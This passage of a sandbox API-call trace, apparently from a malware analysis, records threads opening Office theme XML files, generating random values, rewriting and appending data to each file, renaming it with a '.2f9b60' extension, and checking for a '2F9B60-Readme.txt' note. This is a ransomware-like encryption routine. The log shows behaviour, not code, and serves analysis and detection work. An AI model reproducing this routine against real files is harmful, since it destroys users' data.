lpOverlapped=0x0 | out: lpBuffer=0x20239560*, lpNumberOfBytesWritten=0x28ccf8d4*=0x3c6, lpOverlapped=0x0) returned 1 [0095.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84f0 [0095.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0095.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0095.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20239560) returned 1 [0095.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20235950) returned 1 [0095.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8670c0) returned 1 [0095.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0095.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f130 [0095.781] SetFilePointerEx (in: hFile=0xe3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.781] WriteFile (in: hFile=0xe3c, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x28ccf9f0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x28ccf9f0*=0x110, lpOverlapped=0x0) returned 1 [0095.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0095.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e6f0 [0095.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8310 [0095.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8310) returned 1 [0095.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced8310 [0095.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82e0 [0095.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0095.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0095.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e6f0) returned 1 [0095.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0095.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97620 [0095.953] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="56") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="41") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="6c") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="e5") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="88") returned 2 [0095.953] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="56") returned 2 [0095.953] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="75") returned 2 [0095.953] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="fc") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="22") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="f7") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="fd") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="f4") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="42") returned 2 [0095.953] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="ef") returned 2 [0095.953] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="3f") returned 2 [0095.953] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="bc") returned 2 [0095.953] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="49") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="e9") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="8f") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="42") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="75") returned 2 [0095.954] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="78") returned 2 [0095.954] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="9b") returned 2 [0095.954] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="d6") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="49") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="0b") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="ae") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="c5") returned 2 [0095.954] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="fb") returned 2 [0095.954] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="90") returned 2 [0095.954] RtlInitAnsiString (in: DestinationString=0x28ccfa68, SourceString="56416ce5885675fc22f7fdf442ef3fbc49e98f4275789bd6490baec5fb90" | out: DestinationString="56416ce5885675fc22f7fdf442ef3fbc49e98f4275789bd6490baec5fb90") [0095.954] RtlAnsiStringToUnicodeString (in: DestinationString=0x28ccfa38, SourceString="56416ce5885675fc22f7fdf442ef3fbc49e98f4275789bd6490baec5fb90", AllocateDestinationString=1 | out: DestinationString="56416ce5885675fc22f7fdf442ef3fbc49e98f4275789bd6490baec5fb90") returned 0x0 [0095.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4da40 [0095.954] wcscat (in: _Dest=0x107b40, _Source="56416ce5885675f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\56416ce5885675f") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\56416ce5885675f" [0095.954] wcscat (in: _Dest=0x107b40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\56416ce5885675f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\56416ce5885675f.2f9b60" [0095.954] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\56416ce5885675f.2f9b60", NtPathName=0x28ccfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\56416ce5885675f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776850 [0105.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776850) returned 1 [0105.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0105.627] NtQueryInformationFile (in: FileHandle=0xe3c, IoStatusBlock=0x28ccfa78, FileInformation=0x28ccfa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28ccfa78, FileInformation=0x28ccfa88) returned 0x0 [0105.627] NtSetInformationFile (FileHandle=0xe3c, IoStatusBlock=0x28ccfa78, FileInformation=0x28ccfa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0105.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4da40) returned 1 [0105.644] FlushFileBuffers (hFile=0xe3c) returned 1 [0105.650] CloseHandle (hObject=0xe3c) returned 1 [0105.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107b40 [0105.652] wcscpy (in: _Dest=0x107b40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.652] wcscat (in: _Dest=0x107b40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0105.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5b20) returned 1 Thread: id = 608 os_tid = 0x1064 [0094.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml")) returned 0x20 [0095.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml", dwFileAttributes=0x20) returned 1 [0095.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe40 [0095.155] GetFileSizeEx (in: hFile=0xe40, lpFileSize=0x28d7fb40 | out: lpFileSize=0x28d7fb40*=962) returned 1 [0095.155] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x3be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.155] ReadFile (in: hFile=0xe40, lpBuffer=0x28d7fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28d7fb08, lpOverlapped=0x0 | out: lpBuffer=0x28d7fac0*, lpNumberOfBytesRead=0x28d7fb08*=0x4, lpOverlapped=0x0) returned 1 [0095.569] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0095.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0095.569] NtQuerySystemTime (in: CurrentTime=0x28d7fa00 | out: CurrentTime=0x28d7fa00*=132462177014074000) returned 0x0 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x50bf0789 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x7e07f429 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x254f497f [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x10b0e761 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x30d9ba3e [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x737215c3 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x61fa77fd [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x10725e09 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x8316166 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x4d76a19c [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0xa248e30 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x31ddd5f7 [0095.569] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x113d4821 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x21199880 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x16f7c52 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x62fbc709 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x5e9d349f [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x1c00a5 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x5acd5b95 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x1d8f8f3d [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x2e82147f [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x744c8617 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x10424b8b [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x53b9baeb [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x7fc61882 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x3304db91 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x120b3c0e [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x71bd310a [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x69a88f8a [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x52d3a9d7 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x3164aec2 [0095.570] RtlRandomEx (in: Seed=0x28d7f9f0 | out: Seed=0x28d7f9f0) returned 0x57f5631f [0095.578] ReadFile (in: hFile=0xe40, lpBuffer=0x2023d170, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x28d7f9f0, lpOverlapped=0x0 | out: lpBuffer=0x2023d170*, lpNumberOfBytesRead=0x28d7f9f0*=0x3c2, lpOverlapped=0x0) returned 1 [0095.579] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.579] WriteFile (in: hFile=0xe40, lpBuffer=0x20240d80*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x28d7f9f4, lpOverlapped=0x0 | out: lpBuffer=0x20240d80*, lpNumberOfBytesWritten=0x28d7f9f4*=0x3c2, lpOverlapped=0x0) returned 1 [0095.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0095.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8580 [0095.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8580) returned 1 [0095.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20240d80) returned 1 [0095.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2023d170) returned 1 [0095.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867140) returned 1 [0095.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0095.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced8580 [0095.782] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.782] WriteFile (in: hFile=0xe40, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x28d7fb10, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x28d7fb10*=0x108, lpOverlapped=0x0) returned 1 [0095.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0095.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0095.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0095.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0095.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0095.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0095.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0095.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0095.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0095.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0095.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ef30 [0095.960] sprintf (in: _Dest=0x1cd9ef30, _Format="%c%c" | out: _Dest="5a") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef32, _Format="%c%c" | out: _Dest="05") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef34, _Format="%c%c" | out: _Dest="3b") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef36, _Format="%c%c" | out: _Dest="be") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef38, _Format="%c%c" | out: _Dest="90") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef3a, _Format="%c%c" | out: _Dest="10") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef3c, _Format="%c%c" | out: _Dest="c5") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef3e, _Format="%c%c" | out: _Dest="0d") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef40, _Format="%c%c" | out: _Dest="d9") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef42, _Format="%c%c" | out: _Dest="36") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef44, _Format="%c%c" | out: _Dest="ff") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef46, _Format="%c%c" | out: _Dest="bb") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef48, _Format="%c%c" | out: _Dest="b3") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef4a, _Format="%c%c" | out: _Dest="ed") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef4c, _Format="%c%c" | out: _Dest="aa") returned 2 [0095.960] sprintf (in: _Dest=0x1cd9ef4e, _Format="%c%c" | out: _Dest="8f") returned 2 [0095.961] sprintf (in: _Dest=0x1cd9ef50, _Format="%c%c" | out: _Dest="e1") returned 2 [0095.961] sprintf (in: _Dest=0x1cd9ef52, _Format="%c%c" | out: _Dest="43") returned 2 [0095.961] sprintf (in: _Dest=0x1cd9ef54, _Format="%c%c" | out: _Dest="bd") returned 2 [0095.961] sprintf (in: _Dest=0x1cd9ef56, _Format="%c%c" | out: _Dest="e2") returned 2 [0095.961] sprintf (in: _Dest=0x1cd9ef58, _Format="%c%c" | out: _Dest="96") returned 2 [0095.961] sprintf (in: _Dest=0x1cd9ef5a, _Format="%c%c" | out: _Dest="d6") returned 2 [0095.961] RtlInitAnsiString (in: DestinationString=0x28d7fb88, SourceString="5a053bbe9010c50dd936ffbbb3edaa8fe143bde296d6" | out: DestinationString="5a053bbe9010c50dd936ffbbb3edaa8fe143bde296d6") [0095.961] RtlAnsiStringToUnicodeString (in: DestinationString=0x28d7fb58, SourceString="5a053bbe9010c50dd936ffbbb3edaa8fe143bde296d6", AllocateDestinationString=1 | out: DestinationString="5a053bbe9010c50dd936ffbbb3edaa8fe143bde296d6") returned 0x0 [0095.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1aa0 [0095.961] wcscat (in: _Dest=0x107a80, _Source="5a053bbe901" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5a053bbe901") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5a053bbe901" [0095.961] wcscat (in: _Dest=0x107a80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5a053bbe901.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5a053bbe901.2f9b60" [0095.961] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5a053bbe901.2f9b60", NtPathName=0x28d7fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5a053bbe901.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118950 [0105.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118950) returned 1 [0105.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48d60) returned 1 [0105.670] NtQueryInformationFile (in: FileHandle=0xe40, IoStatusBlock=0x28d7fb98, FileInformation=0x28d7fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28d7fb98, FileInformation=0x28d7fba8) returned 0x0 [0105.670] NtSetInformationFile (FileHandle=0xe40, IoStatusBlock=0x28d7fb98, FileInformation=0x28d7fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0106.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 [0106.068] FlushFileBuffers (hFile=0xe40) returned 1 [0106.071] CloseHandle (hObject=0xe40) returned 1 [0106.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107a80 [0106.072] wcscpy (in: _Dest=0x107a80, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0106.073] wcscat (in: _Dest=0x107a80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0106.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0106.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0106.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce109a0) returned 1 Thread: id = 609 os_tid = 0x1068 [0095.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml")) returned 0x20 [0104.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml", dwFileAttributes=0x20) returned 1 [0105.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x172c [0105.402] GetFileSizeEx (in: hFile=0x172c, lpFileSize=0x289cfa80 | out: lpFileSize=0x289cfa80*=965) returned 1 [0105.402] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.402] ReadFile (in: hFile=0x172c, lpBuffer=0x289cfa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x289cfa48, lpOverlapped=0x0 | out: lpBuffer=0x289cfa00*, lpNumberOfBytesRead=0x289cfa48*=0x4, lpOverlapped=0x0) returned 1 [0105.432] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0105.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6410 [0105.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6380 [0105.432] NtQuerySystemTime (in: CurrentTime=0x289cf940 | out: CurrentTime=0x289cf940*=132462177109234000) returned 0x0 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x73233fc6 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x3ba8f2e [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x6f2263ff [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x561fecaf [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x1b4f252f [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x400df0f2 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x6af206b0 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x50975412 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x4375540a [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x71c15b69 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x7eafd631 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0xfd5a35 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x126530ad [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x2e8e83ec [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x54e5b35e [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x4bfedc0c [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x511f1880 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x3f1e8456 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x59ca5479 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x284b0255 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x51bd4fa1 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0xdf1e772 [0105.433] RtlRandomEx (in: Seed=0x289cf930 | out: Seed=0x289cf930) returned 0x146f6272 [0105.433] RtlRandomEx (in: 